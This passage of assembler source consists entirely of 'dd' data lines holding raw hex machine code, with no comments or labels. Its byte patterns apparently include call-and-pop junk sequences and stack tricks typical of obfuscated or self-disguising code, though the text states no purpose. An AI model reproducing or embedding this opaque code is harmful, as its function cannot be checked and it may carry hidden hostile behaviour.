		dd 0FFB7AEE8h, 0A62F8DB5h, 0C117BA06h, 858D1ED7h, 6A63AC3h
		dd 1BCA8166h, 0D0FFF8E6h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 70C35141h, 335F5BCEh,	0D1B5890Eh, 6606A607h
		dd 89BB99BFh, 0A62BD985h, 7DBD0906h, 0C606A609h, 0A60C2985h
		dd 0F48A4306h, 8E6EFC68h, 52BDB2BCh, 6E8h, 0C93C3600h
		dd 609032D3h, 0FF595A61h, 0A62F8DB5h, 0C8B70F06h, 3AC3858Dh
		dd 8D8906A6h, 6A6073Dh,	6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0B38D5DC3h, 12B2BF0Ah
		dd 0E97968C5h, 14h, 4ADB3C08h, 3EF7736Fh, 2529D59Fh, 55AC9FFFh
		dd 0BE280F7h, 89FEB70Fh, 0A6228585h, 0E59D8906h, 0C606A608h
		dd 0A60C2985h, 6A4506h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 34160C3h, 0DE98BBAh, 0FD000000h
		dd 383EA6CCh, 0D7179C77h, 0C9AE829Eh, 72696968h, 0D781668Eh
		dd 0B5FF01A5h, 6A62F8Dh, 29A99589h, 858D06A6h, 6A63AC3h
		dd 0BBCF8166h, 6E8A7h, 52660000h, 0EE943B79h, 66D0FF5Ah
		dd 89A1D7BAh, 0A61EF585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 865F4867h
		dd 0C9958B83h, 6006A618h, 6880Fh, 800F0000h, 0
		dd 15D9858Bh, 0E96106A6h, 13h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h
		dd 0A0F85E52h, 0C6926708h, 0A60C2985h, 870F4406h, 6, 2AB1BD8Bh
		dd 646806A6h, 0F8B8F2ECh, 2F8DB5FFh, 816606A6h,	8DEC50D7h
		dd 0A63AC385h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0D19D89E0h, 0FF06A630h
		dd 8BC88BD0h, 0ED8589D7h, 0F06A61Bh, 486h, 0CCBF6600h
		dd 0D98166D0h, 85C68BE1h, 6A60C29h, 0BF665343h,	685A4F0Dh
		dd 0C0764AA7h, 2F8DB5FFh, 6A06A6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0C973E9C3h, 50C58AB8h
		dd 0CE97Eh, 0AB860000h,	88696636h, 0A436C9B9h, 858D5DE1h
		dd 6A63AC3h, 4860Fh, 0B9660000h, 0D0FFC66Bh, 0E24BB966h
		dd 2AD98589h, 6A06A6h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0B91CDAC3h, 0B58977B5h, 6A61229h
		dd 0FA1FBD80h, 0F0006A8h, 0EE84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 92857797h
		dd 8A0F4EFDh, 858D9402h, 6A8FA01h, 0EEABF66h, 12E950h
		dd 0F1490000h, 0E8038F06h, 65837B66h, 0DC909B1Ah, 0EAB2E741h
		dd 8D8B016Ah, 6A626BDh,	12E9006Ah, 8A000000h, 3FC86E58h
		dd 24F852h, 0BA3BF746h,	0E1B68F13h, 6A006A7Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 2E46C350h, 0F26C1F56h, 0D02500D9h, 0D5D95FFh, 0BD8B06A6h
		dd 6A63309h, 2B1D8589h,	958906A6h, 6A628D9h, 14FD9D89h
		dd 0FF6A06A6h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0E2C35040h, 7679B713h, 2B25BD31h, 0C28106A6h, 53174622h
		dd 2B1DB5FFh, 0BF0F06A6h, 6D95FFF8h, 6606A611h,	8BC0ECBAh
		dd 0A5BD83C0h, 6A61Eh, 0BD830975h, 6A62F9Dh, 50197400h
		dd 0B8C08B53h, 7D1h, 2AD18589h,	9D8D06A6h, 6A8A56Ch, 585BD3FFh
		dd 2F9DBD83h, 740006A6h, 0B8535017h, 7D1h, 2AD18589h, 9D8D06A6h
		dd 6A8A25Bh, 585BD3FFh,	0BF66FE8Bh, 0C08BDFEFh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0AEC35646h, 0EBF97399h
		dd 0D09C808h, 6880Fh, 0BD890000h, 6A615F9h, 0C2985C6h
		dd 6A4706A6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 21B7C355h, 0EA9BC47Bh,	3B4782A1h
		dd 20890Fh, 14E80000h, 41000000h, 1207C290h, 75E4E908h
		dd 0F517DA4Bh, 0ACE900EDh, 33CD4F7Fh, 0A60425BDh, 8D335906h
		dd 6A601C1h, 0C8F7C168h, 0FFF98B93h, 0A62F8DB5h, 6159BA06h
		dd 858D4613h, 6A63AC3h,	0E2816653h, 0FF5F94ECh,	51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 75958B91h, 5006A618h, 409A9EBFh, 0F5BD8B20h,	8D06A62Bh
		dd 0A8FE4285h, 8E806h, 35050000h, 1277FE19h, 8B668198h
		dd 0C7F559FEh, 9400h, 5CB96600h, 0BD8B58CBh, 6A6182Dh
		dd 0FE42B58Dh, 858906A8h, 6A618C1h, 0FF62B156h,	0BA1BAD0h
		dd 81666745h, 8DB1A5D7h, 0A8FE4285h, 95B58906h,	8306A601h
		dd 0F060478h, 1785h, 0C721B500h, 0A8FED685h, 106h, 0EDB1BF00h
		dd 8D8B05E7h, 6A60B49h,	1AA9BD83h, 0F0006A6h, 6185h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 451A872Ch, 0EBF66FEh, 0D6BD837Ah, 6A8FEh, 30850Fh, 0D48A0000h
		dd 63DBD83h, 0F0006A6h,	2184h, 0EE900h,	0CBE90000h, 9A96AA6Fh
		dd 601A085Dh, 9CF564F3h, 1CC585C7h, 6A6h, 0BF660000h, 8C66439Dh
		dd 50006ADBh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F7161FC0h, 51B9C48Bh, 0F675FF8Eh, 840F04C3h
		dd 4C2h, 11599D89h, 85C706A6h, 6A61451h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FAC35545h
		dd 0A382257Ah, 14058D89h, 0BD8006A6h, 6A8FA2Ch,	0A850F00h
		dd 81000000h, 96B20FC1h, 9BA6639h, 2985C631h, 4706A60Ch
		dd 68CB8B66h, 0E3E45B86h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 51C35545h, 9DBD8B10h,	0FF06A604h, 0A62F8DB5h
		dd 0F0F28106h, 8D1BA269h, 0A63AC385h, 0BA6606h,	0FD0FFEEh
		dd 468F9BFh, 81000001h,	8BFAB4C9h, 759D8D5Eh, 3106A61Fh
		dd 0A61D8995h, 0DD858906h, 5306A606h, 0FF82D680h, 0FEBF0FD0h
		dd 1F75858Dh, 9D8906A6h, 6A618E1h, 6820F50h, 9000000h
		dd 0A61B9D95h, 57F28106h, 8D466C69h, 0A8F9DE85h, 14E906h
		dd 0C9FF0000h, 6CDE004Ch, 0FD8631A3h, 98B989DAh, 517BFC4Eh
		dd 66502362h, 858DD08Bh, 6A8F0B1h, 2DD98D8Bh, 8E806A6h
		dd 0D1000000h, 0F9EFAA4h, 89B4545Ah, 0A60B259Dh, 29505F06h
		dd 0A608B985h, 9595FF06h, 906A61Eh, 0A625E185h,	0CC48306h
		dd 1E3DBD8Bh, 6A06A6h, 8068h, 6A036A00h, 68006A00h, 80000000h
		dd 0F0B1858Dh, 0FF5006A8h, 0A6228595h, 0C1858906h, 0C606A8F9h
		dd 0A60C2985h, 87684706h, 0FFC7B15Eh, 0A62F8DB5h, 0C3858D06h
		dd 0FF06A63Ah, 0FF006AD0h, 0A8F9C1B5h, 9D0FF06h, 0A61B4985h
		dd 0BB666006h, 8D8BF83Eh, 6A62B01h, 37D03D61h, 830F0000h
		dd 3Bh,	11E8h, 6C210E00h, 0AA25D20Ch, 0E6DCBF94h, 0E59D9195h
		dd 8D89D5A5h, 6A60145h,	0C1B5FF59h, 0F506A8F9h,	2AD995FFh
		dd 0BD8B06A6h, 6A60FE1h, 0CBE9h, 0A1953300h, 0FF06A60Fh
		dd 0A8F9C1B5h, 0D995FF06h, 6606A62Ah, 4AC7E981h, 8166006Ah
		dd 6AC2FFCFh, 21BD8900h, 6A06A630h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0CA07AA76h
		dd 25E2E2A1h, 2C09BD29h, 6A06A6h, 1B399589h, 8B6606A6h
		dd 6A006ACBh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 4A1EC352h, 0BD0B76D4h,	6A63421h
		dd 6E860h, 94040000h, 0D71404A1h, 800Fh, 895F0000h, 0A60A5995h
		dd 6A6106h, 8DBDE280h, 0A8F9C585h, 5BB96606h, 95FF50AAh
		dd 6A62285h, 1239B529h,	8D8906A6h, 6A60B31h, 0FFFF883h
		dd 14985h, 0F4D98000h, 0B04E858Dh, 0F85206A8h, 81D0FF5Ah
		dd 46C2D7DFh, 66006A6Eh, 2D65C181h, 0BF66006Ah,	6AE038h
		dd 106D8589h, 6A06A6h, 85F78150h, 591ACAC4h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 24BB12C3h, 973D3EA5h, 0D6B9CB8Bh, 0F36383Bh,	180h, 6AFC00h
		dd 2091B589h, 858D06A6h, 6A8F9C5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 13C35242h, 92463510h, 95895060h
		dd 6A60D19h, 2EBD8D8Bh,	95FF06A6h, 6A62285h, 0CE9h, 0C58B8600h
		dd 66048BB7h, 204A22DFh, 0FFF88318h, 88850Fh, 0B70F0000h
		dd 0CDB58DFBh, 0E806A8F3h, 0Eh,	0E3B2D69Ah, 0FCAA9DF4h
		dd 0E5DEEB37h, 0E2B5B6B8h, 3C858D5Fh, 0E806A89Fh, 9, 5305D971h
		dd 0E24DDA79h, 0BE856h,	0BCC60000h, 26C82F28h, 64ACA07Ch
		dd 0BC7ABA5Ch, 5A5A5F80h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0C6B65AC3h, 8A720C0Ch
		dd 6A3A9937h, 8D236000h, 6A60875h, 0E159D89h, 0FF6106A6h
		dd 0A61EF595h, 8589F506h, 6A8F9C1h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 73C35747h, 6A7592CDh, 0B9858D00h
		dd 0E906A8F9h, 0Dh, 9A55B151h, 8987715Ah, 0E6C6404Ch, 0BF0F502Fh
		dd 8A046AF9h, 91858DD0h, 8B06A60Dh, 0A601B5BDh,	6A5006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 512657C3h, 23F88B67h, 0A629FD8Dh, 60006A06h,	6890Fh
		dd 8C0F0000h, 0
		dd 8F5BD89h, 296106A6h,	0A63121BDh, 6A006A06h, 0D5858901h
		dd 0FF06A61Ch, 0A8F9C1B5h, 0ED95FF06h, 6A06A61Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0D30EC357h, 0E996D8C9h, 1D03h, 1501BD8Bh, 0C08B06A6h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3AC35343h
		dd 807909ECh, 11E874D4h, 44000000h, 70BFD858h, 0D96F9064h
		dd 44667B1Bh, 520B74EAh, 5840Fh, 21BA0000h, 597E1D89h
		dd 1EA5BD83h, 750006A6h, 9DBD8309h, 6A62Fh, 53501974h
		dd 0D2B8C08Bh, 89000007h, 0A62AD185h, 6C9D8D06h, 0FF06A8A5h
		dd 83585BD3h, 0A62F9DBDh, 17740006h, 0D2B85350h, 89000007h
		dd 0A62AD185h, 5B9D8D06h, 0FF06A8A2h, 0BA585BD3h, 0A6AEB2Fh
		dd 1EE18D89h, 0C08B06A6h, 11E9h, 0D643AE00h, 58B12AE9h
		dd 0D239A23Fh, 2D7F5A10h, 0BD01B628h, 6A63359h,	145185C7h
		dd 106A6h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0B8689BC3h, 0FFCEE4E7h, 0A615C5B5h
		dd 0C3858D06h, 0FF06A63Ah, 998589D0h, 8D06A634h, 0A8FC1D85h
		dd 858D5006h, 6A8FEDAh,	16850h,	95FF8000h, 6A63499h, 0A75C00Bh
		dd 1C585C7h, 106A6h, 0D4680000h, 0FFC005DBh, 0A615C5B5h
		dd 0C3858D06h, 0FF06A63Ah, 7D8589D0h, 8D06A601h, 0A8EE6A85h
		dd 0B5FF5006h, 6A62F8Dh, 290D95FFh, 0C00B06A6h,	0D88B0B74h
		dd 0FE1D858Dh, 0FF5006A8h, 1D858DD3h, 6606A8FEh, 75093883h
		dd 1185C70Ah, 106A631h,	0FF000000h, 0A62BD995h,	0FF2506h
		dd 0F8830000h, 0C70A7305h, 0A630ED85h, 106h, 0D9816600h
		dd 0B560601Ah, 61C78A1Ch, 0FA2CBD80h, 0F0006A8h, 1384h
		dd 1BB96600h, 0D6BD839Ch, 6A8FEh, 0D840Fh, 1DB60000h, 1B42E9h
		dd 898D8900h, 8306A62Dh, 0A63111BDh, 850F0006h,	7Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E2C35747h, 858D9EB2h
		dd 6A8F9F6h, 50C88B66h,	30DD8589h, 816606A6h, 6ACE77D7h
		dd 0FA8B6601h, 0F8B9006Ah, 6A56F52Bh, 25BD8B00h, 8906A62Bh
		dd 0A62B51BDh, 5D95FF06h, 8906A60Dh, 0A8FA2085h, 3D958B06h
		dd 6A06A615h, 0B5FFF8FFh, 6A8FA20h, 918D8B60h, 8B06A629h
		dd 95FF61F1h, 6A6116Dh,	858DCF8Bh, 6A8EE31h, 6860Fh, 95090000h
		dd 6A62E35h, 5880F50h, 66000000h, 5E75C181h, 32FD95FFh
		dd 0D08B06A6h, 0EEBB8589h, 950906A8h, 6A620A1h,	8DFE8B66h
		dd 0A8EE3E85h, 91958B06h, 5006A634h, 8E9h, 59251B00h, 0FCBC5AE7h
		dd 0BBB5FF41h, 6006A8EEh, 0FE9DDB5h, 0AF000000h, 6D82D79Bh
		dd 256A44E6h, 5EDB8F2h,	0FF61846Fh, 0A6290D95h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0E789A0BFh, 0D78B660Ah, 0CAC3C981h, 8589306Ah, 6A61259h
		dd 3041BD89h, 858D06A6h, 6A8EEACh, 565055B2h, 329D9533h
		dd 0FF5A06A6h, 0A8EEBBB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0D95FFE8h
		dd 6606A629h, 8589F98Bh, 6A8EECFh, 5215B966h, 0EE8B858Dh
		dd 9D2906A8h, 6A60E11h,	31BD8B50h, 0FF06A62Eh, 0A8EEBBB5h
		dd 3D958B06h, 0FF06A610h, 0A6290D95h, 13E906h, 70000000h
		dd 8F3B4A3Fh, 381C0BEEh, 0CB8FDE35h, 9721BBA5h,	0C7858953h
		dd 6006A8EEh, 440FE881h, 0F95313FDh, 858D6159h,	6A8EE7Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EDC35747h
		dd 0E95062C9h, 13h, 894FFB04h, 4472EE84h, 1EC72C6h, 0FD8765EEh
		dd 898D3591h, 0A630219Dh, 0BBB5FF06h, 6A06A8EEh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0DF4C353h, 0EE8h, 0B9F83D00h, 2D838359h, 5A0556A4h
		dd 0E961B3D2h, 0Ah, 2CBCAADDh, 0A173C171h, 0FF59DAA9h
		dd 0A6290D95h, 0E1958B06h, 8906A62Fh, 0A8EECB85h, 0FB8B6606h
		dd 0EE99858Dh, 50F506A8h, 0EEBBB5FFh, 816606A8h, 0FFD69BD1h
		dd 0A6290D95h, 95BD2306h, 8906A633h, 0A61CBD85h, 0B0606006h
		dd 0A0C781BAh, 6141FE1Bh, 1A5DBD89h, 8D6106A6h,	0A8EE4D85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0A2D446CFh, 0B9CBD3F0h, 59BD033Ah, 5006A608h
		dd 32198529h, 0B5FF06A6h, 6A8EEBBh, 9CCDD981h, 95FF4B64h
		dd 6A6290Dh, 34A59589h,	858906A6h, 6A8EEBFh, 0A1858960h
		dd 8906A625h, 0A6290995h, 858D6106h, 6A8EE5Ch, 14E9h, 0D8611B00h
		dd 0A590FA3Eh, 0EFF0EE12h, 8C5928F6h, 0A80BFADBh, 8D0350E6h
		dd 6A60415h, 0EEBBB5FFh, 565306A8h, 10B5BD8Bh, 595A06A6h
		dd 290D95FFh, 6E906A6h,	42000000h, 0F78E9C40h, 0C3858973h
		dd 5606A8EEh, 2D818589h, 685906A6h, 104h, 6820Fh, 8D230000h
		dd 6A604B9h, 0EF53858Dh, 0F5006A8h, 858DCFBFh, 6A8F057h
		dd 0CAB70F60h, 4884BB66h, 0FFF95061h, 0A6292995h, 10E906h
		dd 9960000h, 173FF3h, 3FB884F3h, 0F7BEDE42h, 0B70F12A3h
		dd 0FC085FBh, 685h, 21B58900h, 8006A634h, 0A8FA2CBDh, 850F0006h
		dd 17h,	7DF8166h, 7CE9F513h, 0F000017h,	680h, 458D8B00h
		dd 8306A631h, 0A63111BDh, 850F0006h, 1Dh, 16A59589h, 0BD8306A6h
		dd 6A8FED6h, 34840F00h,	0F000000h, 486h, 0A5BA6600h, 0F0858D1Fh
		dd 5206A8EEh, 8518589h,	0E95A06A6h, 1733h, 6870Fh, 958B0000h
		dd 6A6106Dh, 12E9h, 49958B00h, 8D06A61Dh, 0A8EEDB85h, 558D8906h
		dd 5006A60Ch, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	24C35141h, 897D73DDh, 0A625EDBDh, 59A3BF06h, 858D301Fh
		dd 6A8EF53h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0FC35545h, 0D048BA99h, 6A50380Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 9A03C350h
		dd 0BF7F5CF8h, 3111BD83h, 0F0006A6h, 6384h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0A719AC63h, 8587FDF5h, 0B5B58962h, 0E906A625h, 10h
		dd 726E42AFh, 0A965F0C4h, 6D57AA66h, 4D93EA9h, 0F079858Dh
		dd 816606A8h, 0E93ACAE2h, 20h, 0EE9F9h,	0EDC60000h, 0A152BE93h
		dd 1BD4A5DAh, 59A90E94h, 0F062858Dh, 858906A8h,	6A60655h
		dd 0CE816050h, 7049A080h, 2DA5BD89h, 8D6106A6h,	0A8F0B185h
		dd 0CABF0F06h, 9DBD8950h, 0FF06A618h, 0A61E9595h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B6660DF9h, 5D36C0BAh, 310D8D31h, 0C48306A6h, 56006A10h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0AF41D4BBh, 539FDD58h, 6AC08B5Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 8FCCC357h
		dd 0A5BD83E9h, 6A61Eh, 0BD830975h, 6A62F9Dh, 50197400h
		dd 0B8C08B53h, 7D3h, 2AD18589h,	9D8D06A6h, 6A8A56Ch, 585BD3FFh
		dd 2F9DBD83h, 740006A6h, 0B8535017h, 7D3h, 2AD18589h
		dd 9D8D06A6h, 6A8A25Bh,	585BD3FFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 1DC35040h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 81C35343h, 52E98DBFh, 81C08B35h
		dd 0A8EEDBBDh, 65726F06h, 0D6840F61h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 30BC353h, 145D8501h,	858906A6h, 6A633EDh, 0EF53858Dh
		dd 8D5006A8h, 0A8F09085h, 858D5006h, 6A8F0B1h, 9595FF50h
		dd 8306A61Eh, 85C60CC4h, 6A60C29h, 184F6844h, 0B5FF96A3h
		dd 6A62F8Dh, 3AC3858Dh,	0D0FF06A6h, 858DD88Bh, 6A8F0B1h
		dd 8DD3FF50h, 0A8EEDB85h, 858D5006h, 6A8EF53h, 11BD8350h
		dd 6A631h, 858D0874h, 6A8F079h,	858D06EBh, 6A8F062h, 0B1858D50h
		dd 5006A8F0h, 1E9595FFh, 0C48306A6h, 68C0F10h, 8B000000h
		dd 0A601CDBDh, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 416DBFEBh, 89EE8D86h
		dd 0A615F9BDh, 0D995FF06h, 106A62Bh, 0A60D6185h, 0FF2506h
		dd 8A0F0000h, 3, 83D0B70Fh, 830F05F8h, 47h, 2C719589h
		dd 85C706A6h, 6A630EDh,	1, 1F718589h, 858D06A6h, 6A8EF0Fh
		dd 0E94CF580h, 92h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0C0C35343h, 0CA2AE897h, 8308CF76h, 0A63111BDh
		dd 840F0006h, 56h, 0EF3A858Dh, 6A06A8h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 64BD5BC3h
		dd 2CC1B589h, 0BD8906A6h, 6A61E69h, 2DE9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 99DEB772h, 858D9203h, 6A8EF1Ch, 3319958Bh, 858906A6h
		dd 6A8EF4Fh, 0D8B0Fh, 66600000h, 10C9D181h, 258D8D89h
		dd 336106A6h, 0A62695BDh, 11BD8306h, 6A631h, 16850Fh, 0BF0F0000h
		dd 0D6BD83CEh, 6A8FEh, 0D840Fh,	958B0000h, 6A603F1h, 12FAE9h
		dd 0E9E88A00h, 4F3h, 670C70BFh,	31C08B6Fh, 0A6330985h
		dd 0A5BD8306h, 6A61Eh, 0BD830975h, 6A62F9Dh, 50197400h
		dd 0B8C08B53h, 7D4h, 2AD18589h,	9D8D06A6h, 6A8A56Ch, 585BD3FFh
		dd 2F9DBD83h, 740006A6h, 0B8535017h, 7D4h, 2AD18589h, 9D8D06A6h
		dd 6A8A25Bh, 585BD3FFh,	64CF8166h, 55006A23h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E8886214h
		dd 0C08BD0B5h, 0FE960h,	9E580000h, 0E20A1C9Dh, 5BD465BDh
		dd 21681DFDh, 11858BC6h, 6106A616h, 31B529h, 3F6806A6h
		dd 6A000F00h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 9552C351h, 14E825h, 0FB00000h
		dd 66F496DCh, 364978CFh, 0CA58B624h, 727EF89Ch,	7E98BB4h
		dd 9C000000h, 681EDB70h, 6A596B28h, 0F19D8900h,	6A06A614h
		dd 6810F00h, 89000000h,	0A611D9BDh, 5995FF06h, 6006A612h
		dd 1965958Bh, 61FC06A6h, 0D8F0Fh, 8E90000h, 0F5000000h
		dd 7F6F06D1h, 85979828h, 5850FC0h, 66000000h, 0E93EE981h
		dd 0EED38589h, 6A06A8h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 7DC35040h, 11E8h, 0D9454700h,	43ACADB1h
		dd 7DF0ACCCh, 6D9072C2h, 666000FCh, 8B9341BFh, 0A61F0D9Dh
		dd 665F6106h, 5162DA81h, 10E9006Ah, 21000000h, 0D76D4DA7h
		dd 7CE4EA94h, 0BA0BFCFEh, 6A3A4243h, 0F78A5600h, 0F006A5Fh
		dd 68Fh, 0C18D8B00h, 0F06A61Ah,	0E80h, 0BD8B6000h, 6A615B5h
		dd 2E519D01h, 6A6106A6h, 0D98D0B00h, 8D06A630h,	0A8F0B185h
		dd 35BD8B06h, 5006A62Eh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 8AC35141h, 1016A1Ah, 0A6214D95h, 0AE906h
		dd 0A94A0000h, 7010E83Dh, 0A8D791AFh, 14E8016Ah, 0CC000000h
		dd 1CA60A48h, 43F0B2C5h, 81BB870h, 2FF44518h, 5A3B23E4h
		dd 2CD9BD89h, 16A06A6h,	0B158D29h, 0FF6806A6h, 0BA000F01h
		dd 199A7E06h, 3111BD83h, 0F0006A6h, 4F84h, 65950100h, 8906A619h
		dd 0A622B585h, 30858D06h, 6A06A8EFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0C9DEC356h
		dd 0CA433FDh, 0DFF6ACEAh, 1FE9h, 0D8E0F00h, 0E8000000h
		dd 5, 8800C672h, 59FB8B96h, 0EF06858Dh,	0BD8B06A8h, 6A63211h
		dd 0E1958B50h, 5006A619h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 55C35141h, 0FE834C3h,	9E000000h, 0B4545A0Fh
		dd 0AECC6565h, 0B16D2F33h, 0BD8BEC99h, 6A60E5Dh, 9E959h
		dd 330D0000h, 5BB98AB4h, 0FF84FDE0h, 0A8EED3B5h, 0C58D8B06h
		dd 0FF06A60Fh, 0A8EEBF95h, 0C085F806h, 12850Fh,	85010000h
		dd 6A629E9h, 0B191FBFh,	5DE916h, 0D78B0000h, 0EED78589h
		dd 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 78B4A9C3h, 0FA60174h, 8Bh, 0D7B5FF00h, 0F06A8EEh
		dd 0C83h, 5E95100h, 78000000h, 0D3233C30h, 0BD95FF59h
		dd 8506A61Ch, 8850FC0h,	9000000h, 0A60E9D85h, 6ACB8B06h
		dd 83D08A10h, 0A63111BDh, 840F0006h, 6Eh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 6BC35747h, 10F765DEh
		dd 0E41A509h, 2D880F8Ch, 0E8000000h, 13h, 8A8AD75h, 684D58FFh
		dd 74BEDD31h, 3A0B7CBFh, 0E9B82C15h, 0Fh, 62DEDE62h, 0B766ACFAh
		dd 581F22F2h, 596DA5EDh, 0EF30858Dh, 0B58906A8h, 6A609B5h
		dd 11E9h, 6DB9BF00h, 858D7BDFh,	6A8EF06h, 333D8D8Bh, 665006A6h
		dd 31A4E281h, 0EED3B5FFh, 896006A8h, 0A62BE58Dh, 0C98D8B06h
		dd 6106A601h, 1927BF66h, 0EECB95FFh, 14E906A8h,	0C0000000h
		dd 0AC495EC5h, 87828DFh, 0CA9019AFh, 83FB08C4h,	853BCBE5h
		dd 1850FC0h, 0F9000000h, 0EED78589h, 6A06A8h, 0A3D751BAh
		dd 89006A54h, 0A605698Dh, 0D7B5FF06h, 8906A8EEh, 0A614BD8Dh
		dd 0C7816606h, 95FFEA1Ah, 6A8EEC3h, 84D88160h, 80731C76h
		dd 8B614BF4h, 0A629DD95h, 0FC08506h, 785h, 1890F00h, 0F9000000h
		dd 0EED7B5FFh, 6A06A8h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 8384CCC3h, 8C1043Ch, 0BD95FFCEh
		dd 6006A61Ch, 6820Fh, 9D890000h, 6A62E1Dh, 1285B50Bh, 606106A6h
		dd 3860Fh, 0DD800000h, 599503B7h, 6106A634h, 850FC085h
		dd 3, 6AD08B66h, 0C1816600h, 80685F73h,	89000000h, 0A6073195h
		dd 0E9036A06h, 0Ch, 89CFAB2h, 8438843h,	0EA4E5EB0h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 61CB1BC3h, 9C001A28h, 0D78B664Eh, 0BD8B006Ah, 6A61659h
		dd 68h,	0F8B70FC0h, 0EF4FB5FFh,	95FF06A8h, 6A62285h, 0CF816660h
		dd 0C28BBB50h, 0FFF88361h, 5CB850Fh, 0B5890000h, 6A601D5h
		dd 0F9BD85FFh, 6A06A8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 9569DDC3h, 958BD52Ah, 6A611B1h
		dd 0F9BDBD83h, 0F0206A8h
		dd 46184h, 0F98D0B00h, 6006A62Bh, 2840Fh, 61600000h, 6221D5BBh
		dd 858D6168h, 5B243Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 52C35141h, 0DE8DF63Ah, 6B4A8FD7h, 0BE93Dh
		dd 0F3ED0000h, 0D14BBAC3h, 0EC9CFE1Ch, 0FD0FF8Bh, 689h
		dd 81958B00h, 8D06A60Ch, 5B1E8E85h, 0C800F00h, 0F000000h
		dd 68Ch, 8D0F00h, 0FF000000h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0E3DBC3E2h
